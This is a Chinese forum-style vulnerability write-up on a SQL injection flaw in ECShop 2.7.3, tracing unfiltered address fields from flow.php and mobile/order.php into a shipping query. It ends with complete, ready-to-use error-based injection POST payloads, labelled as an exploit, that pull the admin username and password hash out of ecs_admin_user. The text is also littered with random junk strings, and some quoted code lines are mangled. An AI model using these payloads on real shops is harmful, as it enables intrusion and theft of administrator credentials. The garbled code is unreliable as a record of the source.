前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。
: z' |- L- C# e% g+ S& Y$ |1 }1 Q( a9 h1 A* e
漏洞关键文件:
1 e$ x$ n* I6 }+ R4 J6 e }* g7 Z, T4 ~$ {8 o
/includes/lib_order.php0 t( I9 l5 ?1 v7 P
* p7 K; m( B( }8 ^9 G1 [ 关键函数:' }, q! j, d0 ^3 i, Y Q g
0 g# u' d& x" Y) G( k
* G2 M! A2 u6 ]' ]5 n- A/ u
8 ]# }7 A' d7 m: L& y0 G0 Y
01 function available_shipping_list($region_id_list) 1 t! R. e7 j; n( i/ B7 N- Z
: O' ~) S. Q1 f; f0 _02 { 7 Y* u1 Y7 e0 d( U3 R# T
4 a% D: [; ]) j2 d1 c8 B4 K6 k+ {
03 $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
3 ~0 C# H! A/ O. v5 j- n4 r' s
$ O2 l7 g' Y2 l8 \7 {04 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
4 O' F' R0 b2 h. C, J+ S9 u
) K8 C. |0 N# ?' k' [) P05 'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' . " f% ?% @: F( b: ~9 U
j* S. R1 }8 o [9 R06 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .
: a* r+ W" P4 Y, N; @* k2 i+ p- p
1 l& X# q, o' c07 $GLOBALS['ecs']->table('area_region') . ' AS r '.
9 f9 z- [9 e" @( h/ \. P: @6 y$ J q
08 'WHERE r.region_id ' . db_create_in($region_id_list) .
, N D3 @- j+ [+ F; X7 K
" m [8 o7 e* t09 ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order'; 9 N) i% B0 k- A4 N8 A1 Q
4 ?7 @+ a: ^- {& W3 n' Y F" I
10 6 G) G3 f1 F: o( |+ I6 K- ~# ]
9 I; y5 I7 R/ q11 return $GLOBALS['db']->getAll($sql);
- x8 y- @$ @) }8 {0 v
( ? z8 x7 h# Q, Z7 e7 Z12 }
4 c$ o1 \" L1 L3 k, e; a( m4 q' P) V, T! o8 a& J
显然对传入的参数没有任何过滤就带入了查询语句。& G6 x9 m0 f3 |
' { J; |3 Y2 c% |下面我们追踪这个函数在flow.php中:
4 p0 ]9 D" |! T1 c$ D 第531行:
" q- i0 _2 Q0 u$ E. ?
2 W" i' i4 ^% I+ I; i4 L5 d+ d, I! F1 $shipping_list = available_shipping_list($region);
+ U9 h: n0 ]6 ^6 K* y) P5 |) Q8 C
0 E7 B M }& A& ]
; c, G' T& S9 R+ ]; ]9 I ) `0 f2 F, I5 N5 B% `" C
5 e0 Z, l% d# G; v/ `再对传入变量进行追踪:6 X" ^% J! R6 n/ |+ T$ r6 g
- x' R% ?8 K0 k& K/ C第530行: # p( ], L% S# K
8 j. V% W' Y, i% B3 d1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']); " V# @4 v2 i, W5 F8 W( N: R8 D
: f& `* D: P7 f$ P# }8 G; p9 s8 j& s # H% O4 n: d5 t5 p( ^& E
: ]+ q' z; W. f+ p
; J5 R& k1 h/ U
0 Z6 c0 _7 g; G2 q7 B0 V第473行:
* G# f: m# i7 K% {& Q' I9 @7 d, Z5 O }! Z+ P0 J+ o- e
1 $consignee = get_consignee($_SESSION['user_id']);
& r1 Y& i4 @: e t: g3 \* o
- u2 G# ~: ]" o到了一个关键函数:
$ u8 X" ?/ M. j6 a/ z1 k) h3 b2 W" G5 Q# }
/includes/lib_order.php7 W" J( u, u6 p! U+ P- s
' {, S/ s; `( X3 `1 }
. O: ]0 {" H! s E5 a& Q4 a
& A* F7 i0 I! T6 } . @, r0 S: s: V' r$ E
+ A6 V' u4 g) u2 ^% a& [
01 function get_consignee($user_id)
7 \. h2 r# Y3 c1 J# W8 f( W+ ]6 `
02 { ! F; `" I% i6 M( E/ n8 q" X
& v8 o- u5 @. ^
03 if (isset($_SESSION['flow_consignee']))
& Q) o. @+ d6 h: C' d0 f/ n: d- Y. j0 p1 u+ ]6 b2 k8 s
04 {
- B# M+ ^8 v' Z+ I- `, q8 T
4 ~9 ]$ ^- P: i( u05 /* 如果存在session,则直接返回session中的收货人信息 */
; _( d' k& f" O+ _4 d
Z8 q9 K1 i5 \( I1 |06
# E; \4 c, E8 _' q7 }9 _$ x/ E4 m4 j9 \0 j9 r" C0 |
07 return $_SESSION['flow_consignee']; . w1 s; m, F5 K
3 Z3 j. r; M/ T: Z+ a) H {
08 }
; p4 W6 \3 A9 u3 A9 s: X
7 o3 Z l' L0 G! G/ J09 else . J4 y: w& ?* M8 h
2 U$ u Y" r6 g% p' i `* Q
10 { ( e- t. q& ^7 t7 e5 S# v0 ?+ M5 @+ I- z* v
. a+ o* y, Z0 N11 /* 如果不存在,则取得用户的默认收货人信息 */
- `1 h/ d1 ]$ C& _) g1 |& a" n; K' Y0 C M( V. W7 {
12 $arr = array(); % o" a1 ?% i! Y$ [1 `. y, m
; j' z! v; A$ U {, W
13 + l+ Z$ }& Z9 ~! ]/ g
3 l5 w% a2 J, r/ Q4 y14 if ($user_id > 0) % y9 h$ b, y- p! E( T( o+ k
8 o; z i/ N8 a! T
15 {
. l* R& o |) r8 p0 R+ ]* m: } I% \! a3 T9 W. l% w
16 /* 取默认地址 */
8 w! d _- Q$ e% z- e5 M% q; V6 d0 U3 ^
17 $sql = "SELECT ua.*". " z# Q* Q V6 _6 S9 m9 {
, Y, s0 F8 ~+ ?+ A. D1 o
18 " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
# O7 i i0 x5 V! n1 \% e7 B3 d! _' V! ]- E) m* N+ F2 e/ `/ A& j7 {
19 " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";
6 t( E+ x: s7 i$ B
2 m5 v" H3 w3 ?0 e4 g20
2 C3 j1 u, q! {; Z u* ~
( s# ]( p C! V# } M21 $arr = $GLOBALS['db']->getRow($sql);
: p' W! g8 t$ |% @# V( U R/ w5 f/ X
22 } . W" g1 x& c8 f5 c
o0 m& |/ [2 W5 s+ S23 ! g) }! C; `& S; M* B( m' s
' Z: W7 `) w4 {4 J0 ~+ p7 `- p
24 return $arr; + C0 N/ ]" b6 B0 M# b# k D
( c7 s9 g2 m! M6 q& H) Q25 } ) a, V; U# _( i, ]# C$ k5 Z5 A
' T X1 r W/ q6 b5 f; _: B26 } 4 {5 J: u5 `. Z
/ |/ B/ u. u8 S4 p# ^0 K, n' ^
显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?2 c/ ~2 x8 p5 o! k# z) G5 r9 t
1 E- R, s; L1 I0 d) \+ Q& _- K
: V- d7 \/ N" g! S5 Y# d+ o4 j
( U( A$ A) a7 H0 H7 {4 S3 D
关键点:/ n& M# X( x, u. K0 e
" ~; _ z+ Z! {* v7 ]" {$ p第400行: $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
( |0 ^& T* I. e3 I P. m8 @; U2 M) S# v, d1 z4 ]/ H
这里对传入参数反转义存入$_SESSION中。
* w2 L# J8 A, J3 I6 o$ S9 A* F. r! F2 S6 q1 U* `
/ _$ c7 X; X( k( Z! R
e% y1 T: i9 p! F5 |然后看下:
: C) N, a! t L1 ^, w5 {, P3 I9 W& M
9 s; F4 }/ r) t# l( A) S1 n1 j
- D% u& w1 w1 U2 N4 u9 j , V. ]% q: u- j) m7 W6 L
4 H9 L4 g9 p* n. z9 v9 Q01 $consignee = array(
( D' q+ ? K1 p! N+ U: Q4 K6 ]6 C; w) k' I; O
02 'address_id' => empty($_POST['address_id']) ? 0 :intval($_POST['address_id']),
/ }7 I6 D5 l0 h5 X4 [ c4 H( q: e) L7 g1 c; a r
03 'consignee' => empty($_POST['consignee']) ? '' : trim($_POST['consignee']),
* }3 D3 g0 V5 S$ c
( K! d" n( O ~+ D. o04 'country' => empty($_POST['country']) ? '' _POST['country'], * ^3 M+ H7 C( _
, l2 q+ q2 k) f
05 'province' => empty($_POST['province']) ? '' _POST['province'], 6 l" L9 X8 ]% Q2 F9 e7 @ e% M e% _
/ N3 D% c8 J% l, T$ P/ E
06 'city' => empty($_POST['city']) ? '' _POST['city'],
1 P1 d! I& S5 @& x
/ @. u c6 d# f+ y5 t `8 C07 'district' => empty($_POST['district']) ? '' _POST['district'], 0 U2 e2 m: N) u) q8 F
$ r. k' }8 G8 [0 Q! e9 q7 k* |08 'email' => empty($_POST['email']) ? '' _POST['email'],
5 H' C* @4 g. I+ e3 X+ ]9 c
' W+ r+ o8 h3 ^8 s3 n09 'address' => empty($_POST['address']) ? '' _POST['address'], 0 l# }. b* y6 J" ]/ Y! f% G
5 e& Y; E) [, _6 U
10 'zipcode' => empty($_POST['zipcode']) ? '' : make_semiangle(trim($_POST['zipcode'])), p4 o! }% u9 a# c$ _
( {& A, G+ P3 X* I& B$ H3 [11 'tel' => empty($_POST['tel']) ? '' : make_semiangle(trim($_POST['tel'])), 3 P5 D1 z4 \ P4 b
- U' n# A/ x8 T1 Q. g5 j5 J12 'mobile' => empty($_POST['mobile']) ? '' : make_semiangle(trim($_POST['mobile'])), Q8 V7 c9 R# T. b \, u9 a
3 ?5 ~$ i9 o1 Q- y" _* W$ R% }
13 'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'], : g! R" G/ }8 q
5 a5 e1 s/ z8 q4 @( z' K# q14 'best_time' => empty($_POST['best_time']) ? '' _POST['best_time'],
: [2 ]9 m% t: _' K) A4 H& l" F9 R* o# ]/ j% V/ a5 w6 p
15 );
% L0 X% k, R( X/ z8 M. T
8 A* J; K7 o p' `好了注入就这样出现了。
. ~- v% j4 F9 b# u# E. _+ \
# @: {. A1 q- C! J==================9 o1 ?: S/ L$ Y/ _* ]6 |2 ^
2 i5 Y# |" q, Q$ E3 i% ~: z
注入测试:
8 n7 m$ v8 L2 k+ ~3 Z7 i T0 D/ ]+ [9 n: {" O3 t; v% I
环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16). n0 Y; P" m* v
! V' D( F5 P/ b6 b; q" D N) ?5 c& C测试程序:ECShop_V2.7.3_UTF8_release1106
8 [ h& t. i1 y# ^ P% ` t4 X2 r( d: i
( v2 u% G. ] v1 N
9 ^% u) u( y9 {8 A8 `% x j1.首先需要点击一个商品加入购物车
; w% n. W7 v3 X' w2 f: `8 F* O" X+ r& U/ P! o% ]7 a7 _
2.注册一个会员帐号
8 h) H2 O$ [' E1 S) O& _2 r% e4 P* S
3.post提交数据
# ~* U" I4 N$ w/ F5 _- t9 Y8 F" f% p$ S8 I- {" |1 {: e0 |7 I
6 p- D8 ~" c& @; L3 p! ~# E- ?) D1 B, n: v9 {- C
1 http://127.0.0.1/ecshop/flow.php 8 I5 c* ^1 @* e
; H! y. J0 t. G% U# I4 @, j2
/ j5 R: w- H( i& T, c8 J8 i
: V: \; b) S, U3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id= . r( G6 [/ z7 C1 c
举一反三,我们根据这个漏洞我们可以继续深入挖掘:' I9 `/ i! a/ i
, I" F% j+ N& _) T: V# r6 E
我们搜寻关键函数function available_shipping_list(): d' ]( Z3 l; S& |, @2 Z
$ U5 X3 _9 u3 z. e/ j$ M8 K5 w
在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同
! w' ?9 i3 E2 t7 p4 E; a; q9 B- B* O8 i9 i0 b; w4 f
利用exp:: q/ T$ h+ a0 r. J! g
) {; G! D. n$ [3 \/ T1.点击一个商品,点击购买商标
$ q8 ?2 O0 T* F E) g' L- M: @& E) k
2.登录会员帐号
! q) G9 C0 a1 z3 ~5 {0 }
! D. H- H4 R. i& b- `3.post提交:
' ]4 \6 |4 O% \0 f& a# L, ]* T5 d
& A+ ]2 g1 N* L2 Nhttp://127.0.0.1/ecshop/mobile/order.php$ \. n5 _8 T5 d. o/ K
' @0 Z4 ?/ ~3 G5 S) K- c- u" q6 {, M: R
: O6 j" R) w! U. d8 J0 z9 G4 o
( ]3 K2 T0 }( g6 C' X% ]country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
, o" N& ?5 f n, z6 @& t, p/ j
; {6 z8 M* L- Y6 D* E( l& H2 Q |